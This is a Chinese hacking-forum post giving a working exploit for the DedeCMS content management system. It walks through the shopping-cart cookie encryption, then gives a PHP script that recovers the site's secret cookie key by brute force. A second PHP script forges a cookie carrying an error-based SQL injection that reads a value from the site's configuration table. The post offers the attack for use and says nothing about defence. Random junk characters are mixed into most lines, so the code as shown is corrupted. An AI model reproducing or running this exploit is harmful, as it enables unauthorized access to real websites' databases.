找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2018|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
6 j5 I9 _, I* ?( N" v在 include/shopcar.class.php中( Q: P4 D$ Q3 Q- h
先看一下这个shopcar类是如何生成cookie的+ W/ `- U. }' W9 P
239      function saveCookie($key,$value)% \" b7 A7 P" ~0 m8 g
240      {
& R( I) v2 f& G4 W; h( _: l% ~241          if(is_array($value))
1 p$ I# I$ A+ D% M242          {$ B4 n+ a. j. o6 ?: N4 l5 y/ F
243              $value = $this->enCrypt($this->enCode($value));5 k- i$ F* [- G" t
244          }& |0 }  E$ u2 x0 A9 b. u: [; h
245          else
3 E" C. X& u9 ?' \0 o246          {( ^  ?9 w: y7 J$ E6 R* M
247              $value = $this->enCrypt($value);3 o3 _, N6 M2 d% l
248          }+ E* l6 x# Y2 r' g
249          setcookie($key,$value,time()+36000,’/');
' P6 ~+ P9 z  A0 o$ s250      }
. p; P4 M  `, [7 H1 u1 {, N简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数. r0 J& {8 j5 Q, R; V
186      function enCrypt($txt)
7 L, m8 d% e# Q187      {
0 g! @6 {+ e* o* F188          srand((double)microtime() * 1000000);
3 t  u+ S2 }5 h: R189          $encrypt_key = md5(rand(0, 32000));
6 }) M  e7 ?; `2 l190          $ctr = 0;) u& C1 X# w4 T
191          $tmp = ”;
- `/ W6 m3 ~* ]5 O. |192          for($i = 0; $i < strlen($txt); $i++)
9 ]2 _" _3 y4 W0 A3 O193          {
/ H; {9 e8 D! W% j7 D; f194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ w1 ^" b- v$ {% t195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
$ S4 A' n* s, `. [$ m; @8 s196          }
. _7 E' Y  W( U197          return base64_encode($this->setKey($tmp));; e. Q9 K' `, ?% m8 t: `" a% e2 t
198      }
5 }  Z+ j9 Z3 C$ J/ E213      function setKey($txt)
  w/ y2 a# ^. d" Z- L4 s/ l9 a: I0 W' m214      {; }# [& \4 o1 Z! M; r6 Y5 O
215          global $cfg_cookie_encode;
! L" {( i' Y8 P216          $encrypt_key = md5(strtolower($cfg_cookie_encode));* c) H2 S( ?1 ^- [* H
217          $ctr = 0;
8 J3 l  d) l4 i# N0 V* ?/ M218          $tmp = ”;
$ ^% l% i/ h; m4 `' }2 J219          for($i = 0; $i < strlen($txt); $i++)
! R6 q. I- @( F1 q2 T/ y& K/ p220          {4 x+ y' U! p5 n! W, T7 W4 A
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
% l+ L  u8 X8 i$ g222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];% H* w* j( b5 F, l
223          }
4 ^, D, C: \, F+ |+ h& t224          return $tmp;5 {6 H6 K7 Z/ h  t& c' A: R
225      }- |3 T2 T3 O! i9 {2 j
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的! S+ k, D* K. f+ K) n
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
' |. l, g1 s5 E( p具体代码如下:1 k$ h  G5 G- t) I: S, T- g
<?php
1 M) F/ D8 {) D1 \$ d* b$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
( s4 ]3 ~6 n- A- g$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
+ R2 `6 x( x' l/ J2 N* [5 i$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here/ s8 m6 Z. a9 k- M( U* u5 |4 |
function reStrCode($code,$string)9 R! G/ Q! \7 i; w& r6 y, P9 A
{, n3 H" e, z: s7 X
$code = base64_decode($code);
, I1 C) ]( i; r! Y" s. g& [$key = “”;
: M" Q/ k% s' H9 x  wfor($i=0 ; $i<32 ; $i++)
' o# N* c) ~/ n+ o+ I- q{7 O$ N8 w) J2 ^+ x3 V% L+ p
$key .= $string[$i] ^ $code[$i];
- @7 n) ]+ e# C. j& g" ?}
- F- p' A5 U) m; vreturn $key;
- B, r7 C. [: w0 G4 D. L( b}
- J' E' S% l! X: _9 Ofunction getKeys($cookie,$plantxt). w5 `" t7 J3 {* T! @& k2 U
{6 g, A+ e3 L1 b- G: g
$tmp = $cookie;
+ E/ K" Z1 C+ ^9 V: _$ R$results = array();
1 e$ Y( W& j! O5 i: g9 Ifor($j=0 ; $j < 32000; $j++). G, y! J7 f9 E  _" f/ b
{2 z, d2 N# O! f. [/ A! T

4 Z9 q! n5 S# A+ F1 Y6 V* p# i$txt = $plantxt;
9 {* k1 [" p# x$ctr = 0;7 ]- J9 M) O/ Y' B2 D# g
$tmp = ”;
- a" j' ~  G% O) E$encrypt_key = md5($j);
" `2 s2 L9 U7 |for($i =0; $i < strlen($txt); $i ++)
6 {, H4 W6 ^( [% i  t6 ^{* G, m+ X1 i: T+ x6 R5 Q' L
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
; u3 N7 g% e8 C9 v1 w! p' x' I$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);* b" F( ?/ l. \' _4 a% D
}
! m4 r' }" F8 P+ t( J# b  Y6 E$string = $tmp;
% Q! x3 }. ^3 X$code = $cookie;2 l. t2 X& j% E' b: C! i( G0 d. v
$result = reStrCode($code,$string);2 B/ k% D) g  T
if(eregi(‘^[a-z0-9]+$’,$result))
3 D8 q; Y; s* l% B1 J8 A; s& L{
+ }4 ?. ~, x2 [; O7 C0 _$ g0 h$ Secho $result.”\n”;
1 o' g. U, C8 S$results[] = $result;
+ d  b  L: m, n1 D}
' w! f0 o* j1 |1 l1 y7 b* o# B}
1 c  @! {3 u5 ?3 ~return $results;
2 E* j# m1 x4 s}
" W7 f7 \% N- N+ i9 e% T5 n, h$results1 = getKeys($cookie1,$plantxt);) ^! u5 D- _" I- T! h
$results2 = getKeys($cookie2,$plantxt);" N8 [, _" V' Z; f& [
print “\n——————–real key————————–\n”;' X3 g) ^! S( z5 J' D
foreach($results1 as $test1)
, A9 v4 V. n! ~{9 L" q" j% d- K) e: ]7 \0 Q
foreach($results2 as $test2); K0 A4 {6 O+ e
{
5 F- @( ~* i' k8 [if($test1 == $test2), ^+ J& E( v% @, h* U" C8 s4 r! i
{9 J9 d7 \. Q5 H  A9 O
echo $test1.”\n”;" d4 N! r% y' z6 G+ W4 j0 T3 `
}
6 c- b3 e  b1 y. V" i7 g& P9 o}
) t4 y% n- p6 R+ X% T- ?}$ Q9 X) d% |4 k2 k% \8 C$ {
?>4 ]7 E) L+ v; O" p" _
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
, R6 @, @0 ^0 Z# y) R6 Z5 Dplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
5 }' U' m4 l1 Z- [+ t+ r然后推算出md5(strtolower($cfg_cookie_encode))$ t# j; Q1 N. ]- o. {/ ]
得到这个key之后,我们就可以构造任意购物车的cookie2 T+ S7 P9 {0 u! X6 y) N$ H" |
接着看5 O4 ^! p- j  H& m1 f
20  class MemberShops
' f$ I5 B% M, G/ x1 B( c  \& q21  {0 g1 ]  n1 G6 g' f
22      var $OrdersId;
2 G  P" C1 Y- b) |23      var $productsId;# R/ \7 I3 W3 Y' `$ b) {
24! Q% z" ]' z7 z& O. A7 a
25      function __construct(), b9 n9 \. c9 b9 _
26      {
5 l% u- [/ V* o+ c27          $this->OrdersId = $this->getCookie(“OrdersId”);
. D& }" n* [; X7 C8 Y28          if(empty($this->OrdersId))
: |4 f& w8 l; R( E/ [4 C, v% r29          {  X% _) n- f1 v2 u. ^- s9 L5 F7 T
30              $this->OrdersId = $this->MakeOrders();6 t+ A* X3 k/ i& B; j# f
31          }
% r" r! I. ^! f9 U. @32      }; w( M4 [, g0 q
发现OrderId是从cookie里面获取的
% c  {8 M# e: m5 g0 W' O然后
+ t9 |5 Y( F, E) X9 p! j  a/plus/carbuyaction.php中的
) @0 D7 q' O8 z8 p7 v7 Z) M4 Z29      $cart    = new MemberShops();
9 U8 b. h+ ]5 C- O+ d: ^39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
0 K( e+ L9 B  Q5 t……, q$ x' c" I( W2 X" O$ H4 d8 Y
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
: ~$ Y' l6 I, F3 m, ?接着我们就可以注入了
/ r  u/ G: J0 K5 m0 s通过利用下面代码生成cookie:
8 H0 c3 b3 G1 Z/ j1 Z<?php9 o& D; ?! B6 K
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
' K& f, {+ t  J% C' W( `' P$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here6 L; F) U; i2 P+ C% j" {
function setKey($txt); W4 Z8 G. j# N( s
{
/ `( Q9 [6 J: q# Mglobal $encrypt_key;
" i3 [; K: c& M' P8 \8 {$ctr = 0;" ?; r( |/ Q1 R' T; B
$tmp = ”;& B' [/ A9 Q3 S$ V9 q
for($i = 0; $i < strlen($txt); $i++)! d) B& {7 Q& |( i# w
{& e# j& _. `- h0 `3 I6 @/ @
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
. M5 F6 f  E, w1 }$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
# w) K2 Z; q2 z1 d}0 ~' h# z4 g; g" U4 U
return $tmp;
4 H- L6 n1 k, H- x" U& H}* N. l  a  l0 L* O  m6 u8 g9 l
function enCrypt($txt)
8 ]' n$ d! g5 m+ `) X2 V8 G( b{
" ~2 C/ F" r: m( \srand((double)microtime() * 1000000);6 y! H( P9 N, F* X* D1 _, S  n
$encrypt_key = md5(rand(0, 32000));& s  M$ G: T* G& V
$ctr = 0;6 ?3 d7 |; E6 F: n) M
$tmp = ”;
* d" f0 i9 E- E; Z# O/ g8 hfor($i = 0; $i < strlen($txt); $i++)9 E. \/ V1 C; W) V8 U; o( Z
{
5 R5 D. t# c) z$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 Y1 V0 a2 w3 X" y7 }9 _- s6 e# E$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);& d4 h- x, H7 S& I! o
}
8 d& L+ J: U) Q: ^& j" yreturn base64_encode(setKey($tmp));
3 n( h( v  ]' k6 \}
8 m7 z% \5 {8 i, Y" ?for($dest =0;$dest = enCrypt($txt);)$ G- O0 `! o/ f8 \0 c
{) i& T6 N1 Q, W" T1 X) Y1 f1 d' B
if(!strpos($dest,’+'))
( b* i% d" {$ N  y" {& ]$ V' h{0 v7 I0 d* T! q0 {" Q. P
break;
' R7 |8 Q% F2 i. p4 q, C) P# ]}0 E8 {# Z5 \( P! a
}
0 ~3 [# H; w- \* {, yecho $dest.”\n”;- T  X3 f, [4 j$ y2 I% C) u- ]
?># @/ t! c/ q1 {; t
! H9 O& P1 ]* T: K9 J7 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表